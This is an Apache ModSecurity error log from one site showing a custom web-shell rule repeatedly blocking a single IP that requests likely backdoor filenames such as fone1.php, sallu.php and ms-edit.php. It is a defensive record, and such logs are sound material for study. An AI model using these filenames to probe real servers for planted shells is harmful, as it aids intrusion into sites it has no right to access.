[Fri May 15 14:03:39.571655 2026] [:error] [pid 9392:tid 9407] [client 191.237.254.232:9231] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aga3O9BWJIjH1U9zGfaWQgAAAQ0"]
[Fri May 15 14:03:41.751223 2026] [:error] [pid 9307:tid 9374] [client 191.237.254.232:22851] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aga3PSC43jY1IRzK5VY4yQAAAMk"]
[Fri May 15 14:03:44.195824 2026] [:error] [pid 9305:tid 9342] [client 191.237.254.232:11540] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aga3QN5FZyBmdCM8GsFznQAAAEQ"]
[Fri May 15 14:03:46.976535 2026] [:error] [pid 30272:tid 30278] [client 191.237.254.232:29262] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aga3Qnvc_jSFaQ_7_weT4QAAAYQ"]
[Fri May 15 14:03:48.556833 2026] [:error] [pid 30272:tid 30296] [client 191.237.254.232:8299] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aga3RHvc_jSFaQ_7_weT6AAAAZY"]
[Fri May 15 14:03:49.336078 2026] [:error] [pid 9392:tid 9402] [client 191.237.254.232:22880] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sallu.php"] [unique_id "aga3RdBWJIjH1U9zGfaWSQAAAQg"]
[Fri May 15 14:03:52.829003 2026] [:error] [pid 30272:tid 30274] [client 191.237.254.232:33614] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sallu.php"] [unique_id "aga3SHvc_jSFaQ_7_weT7wAAAYA"]
[Fri May 15 14:03:53.917135 2026] [:error] [pid 30208:tid 30218] [client 191.237.254.232:22859] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sallu.php"] [unique_id "aga3SZmLMCJujX-JTvgRAwAAAIg"]
[Fri May 15 14:04:00.570627 2026] [:error] [pid 9307:tid 9367] [client 191.237.254.232:8288] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sallu.php"] [unique_id "aga3UCC43jY1IRzK5VY4zQAAAMI"]
[Fri May 15 14:04:02.656328 2026] [:error] [pid 9304:tid 9327] [client 191.237.254.232:16429] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "aga3UtzcINh7UFIbVoGDAgAAABE"]
[Fri May 15 14:04:07.255595 2026] [:error] [pid 9392:tid 9405] [client 191.237.254.232:24996] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "aga3V9BWJIjH1U9zGfaWTgAAAQs"]
[Fri May 15 14:04:10.113039 2026] [:error] [pid 30272:tid 30275] [client 191.237.254.232:30572] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "aga3Wnvc_jSFaQ_7_weT_wAAAYE"]
[Fri May 15 14:04:14.972783 2026] [:error] [pid 30272:tid 30289] [client 191.237.254.232:9499] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "aga3Xnvc_jSFaQ_7_weUBQAAAY8"]
[Fri May 15 14:04:38.975620 2026] [:error] [pid 30208:tid 30219] [client 191.237.254.232:6084] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aga3dpmLMCJujX-JTvgRKQAAAIk"]
[Fri May 15 14:04:40.049965 2026] [:error] [pid 30272:tid 30284] [client 191.237.254.232:11885] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aga3eHvc_jSFaQ_7_weUDwAAAYo"]
[Fri May 15 14:04:42.964267 2026] [:error] [pid 9392:tid 9408] [client 191.237.254.232:10509] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aga3etBWJIjH1U9zGfaWXQAAAQ4"]
[Fri May 15 14:04:46.661154 2026] [:error] [pid 30240:tid 30260] [client 191.237.254.232:12956] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aga3fq8ckHvaA6bpews3zwAAAVI"]
[Fri May 15 14:04:50.834183 2026] [:error] [pid 30272:tid 30294] [client 191.237.254.232:11894] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aga3gnvc_jSFaQ_7_weUNgAAAZQ"]
[Fri May 15 14:04:53.811288 2026] [:error] [pid 9307:tid 9365] [client 191.237.254.232:9797] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aga3hSC43jY1IRzK5VY44QAAAMA"]
[Fri May 15 14:04:54.723799 2026] [:error] [pid 9392:tid 9416] [client 191.237.254.232:30465] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aga3htBWJIjH1U9zGfaWbQAAARY"]
[Fri May 15 14:04:58.399408 2026] [:error] [pid 30208:tid 30214] [client 191.237.254.232:12960] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aga3ipmLMCJujX-JTvgRNQAAAIQ"]
[Fri May 15 14:04:59.942164 2026] [:error] [pid 30240:tid 30264] [client 191.237.254.232:16938] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aga3i68ckHvaA6bpews33wAAAVY"]
[Fri May 15 14:05:04.667850 2026] [:error] [pid 30272:tid 30279] [client 191.237.254.232:9809] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aga3kHvc_jSFaQ_7_weUQQAAAYU"]
[Fri May 15 14:05:05.996461 2026] [:error] [pid 9304:tid 9331] [client 191.237.254.232:16899] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aga3kdzcINh7UFIbVoGDFAAAABU"]
[Fri May 15 14:05:07.395600 2026] [:error] [pid 30272:tid 30280] [client 191.237.254.232:25632] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f5.php"] [unique_id "aga3k3vc_jSFaQ_7_weURgAAAYY"]
[Fri May 15 14:05:09.449773 2026] [:error] [pid 30272:tid 30290] [client 191.237.254.232:11907] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/view.php"] [unique_id "aga3lXvc_jSFaQ_7_weUSwAAAZA"]
[Fri May 15 14:05:11.271483 2026] [:error] [pid 9305:tid 9340] [client 191.237.254.232:24410] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/view.php"] [unique_id "aga3l95FZyBmdCM8GsFzzAAAAEI"]
[Fri May 15 14:05:14.429648 2026] [:error] [pid 30240:tid 30259] [client 191.237.254.232:25627] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/view.php"] [unique_id "aga3mq8ckHvaA6bpews35AAAAVE"]
[Fri May 15 14:05:17.925668 2026] [:error] [pid 9305:tid 9355] [client 191.237.254.232:11905] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/view.php"] [unique_id "aga3nd5FZyBmdCM8GsFz3QAAAFE"]
[Fri May 15 14:05:19.721043 2026] [:error] [pid 9392:tid 9410] [client 191.237.254.232:8252] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bc.php"] [unique_id "aga3n9BWJIjH1U9zGfaWoQAAARA"]
[Fri May 15 14:05:25.558812 2026] [:error] [pid 30272:tid 30279] [client 191.237.254.232:22338] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bc.php"] [unique_id "aga3pXvc_jSFaQ_7_weUjgAAAYU"]
[Fri May 15 14:05:28.580991 2026] [:error] [pid 9305:tid 9352] [client 191.237.254.232:5769] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bc.php"] [unique_id "aga3qN5FZyBmdCM8GsF0IwAAAE4"]
[Fri May 15 14:05:32.164367 2026] [:error] [pid 9307:tid 9385] [client 191.237.254.232:10767] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bc.php"] [unique_id "aga3rCC43jY1IRzK5VY5DQAAANQ"]
[Fri May 15 14:05:33.957692 2026] [:error] [pid 9392:tid 9404] [client 191.237.254.232:5777] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aga3rdBWJIjH1U9zGfaWsgAAAQo"]
[Fri May 15 14:05:35.796000 2026] [:error] [pid 9304:tid 9324] [client 191.237.254.232:35556] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aga3r9zcINh7UFIbVoGDKwAAAA4"]
[Fri May 15 14:06:00.474931 2026] [:error] [pid 30272:tid 30291] [client 191.237.254.232:18946] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aga3yHvc_jSFaQ_7_weU0wAAAZE"]
[Fri May 15 14:06:07.517213 2026] [:error] [pid 9392:tid 9404] [client 191.237.254.232:25636] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aga3z9BWJIjH1U9zGfaWyQAAAQo"]
[Fri May 15 14:06:09.657903 2026] [:error] [pid 9305:tid 9338] [client 191.237.254.232:6164] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aga30d5FZyBmdCM8GsF0MAAAAEA"]
[Fri May 15 14:06:15.071087 2026] [:error] [pid 30240:tid 30255] [client 191.237.254.232:21356] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aga3168ckHvaA6bpews4MwAAAU0"]
[Fri May 15 14:06:17.976478 2026] [:error] [pid 9392:tid 9397] [client 191.237.254.232:8223] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aga32dBWJIjH1U9zGfaW2wAAAQM"]
[Fri May 15 14:06:24.719915 2026] [:error] [pid 30272:tid 30293] [client 191.237.254.232:10783] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aga34Hvc_jSFaQ_7_weU5QAAAZM"]
[Fri May 15 14:06:27.927201 2026] [:error] [pid 9392:tid 9412] [client 191.237.254.232:5796] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aga349BWJIjH1U9zGfaW4wAAARI"]
[Fri May 15 14:06:29.282776 2026] [:error] [pid 9307:tid 9365] [client 191.237.254.232:10774] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aga35SC43jY1IRzK5VY5MwAAAMA"]
[Fri May 15 14:06:33.817935 2026] [:error] [pid 30272:tid 30294] [client 191.237.254.232:21333] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "aga36Xvc_jSFaQ_7_weU8QAAAZQ"]
[Fri May 15 14:06:35.322713 2026] [:error] [pid 9304:tid 9313] [client 191.237.254.232:11989] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "aga369zcINh7UFIbVoGDOgAAAAM"]
[Fri May 15 14:06:36.795918 2026] [:error] [pid 9307:tid 9376] [client 191.237.254.232:25618] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "aga37CC43jY1IRzK5VY5OAAAAMs"]
[Fri May 15 14:06:39.419398 2026] [:error] [pid 9304:tid 9334] [client 191.237.254.232:11990] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "aga379zcINh7UFIbVoGDOwAAABg"]
[Fri May 15 14:06:41.122330 2026] [:error] [pid 30240:tid 30255] [client 191.237.254.232:22389] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aga38a8ckHvaA6bpews4PQAAAU0"]
[Fri May 15 14:06:43.097098 2026] [:error] [pid 9305:tid 9358] [client 191.237.254.232:22364] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aga3895FZyBmdCM8GsF0PwAAAFQ"]
[Fri May 15 14:06:46.334936 2026] [:error] [pid 30208:tid 30220] [client 191.237.254.232:11920] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aga39pmLMCJujX-JTvgRXAAAAIo"]
[Fri May 15 14:06:48.745752 2026] [:error] [pid 9307:tid 9372] [client 191.237.254.232:22351] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aga3-CC43jY1IRzK5VY5OwAAAMc"]
[Fri May 15 14:06:57.053970 2026] [:error] [pid 9304:tid 9317] [client 191.237.254.232:35582] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aga4AdzcINh7UFIbVoGDSAAAAAc"]
[Fri May 15 14:07:21.979482 2026] [:error] [pid 9304:tid 9314] [client 191.237.254.232:9991] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aga4GdzcINh7UFIbVoGDXwAAAAQ"]
[Fri May 15 14:07:24.163858 2026] [:error] [pid 30208:tid 30226] [client 191.237.254.232:5633] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aga4HJmLMCJujX-JTvgRpwAAAJA"]
[Fri May 15 14:07:26.304742 2026] [:error] [pid 30240:tid 30264] [client 191.237.254.232:10554] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aga4Hq8ckHvaA6bpews4ZQAAAVY"]
[Fri May 15 14:07:27.546420 2026] [:error] [pid 9305:tid 9349] [client 191.237.254.232:12459] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aga4H95FZyBmdCM8GsF0UQAAAEs"]
[Fri May 15 14:07:31.057333 2026] [:error] [pid 30272:tid 30277] [client 191.237.254.232:11584] [client 191.237.254.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aga4I3vc_jSFaQ_7_weVJAAAAYM"]
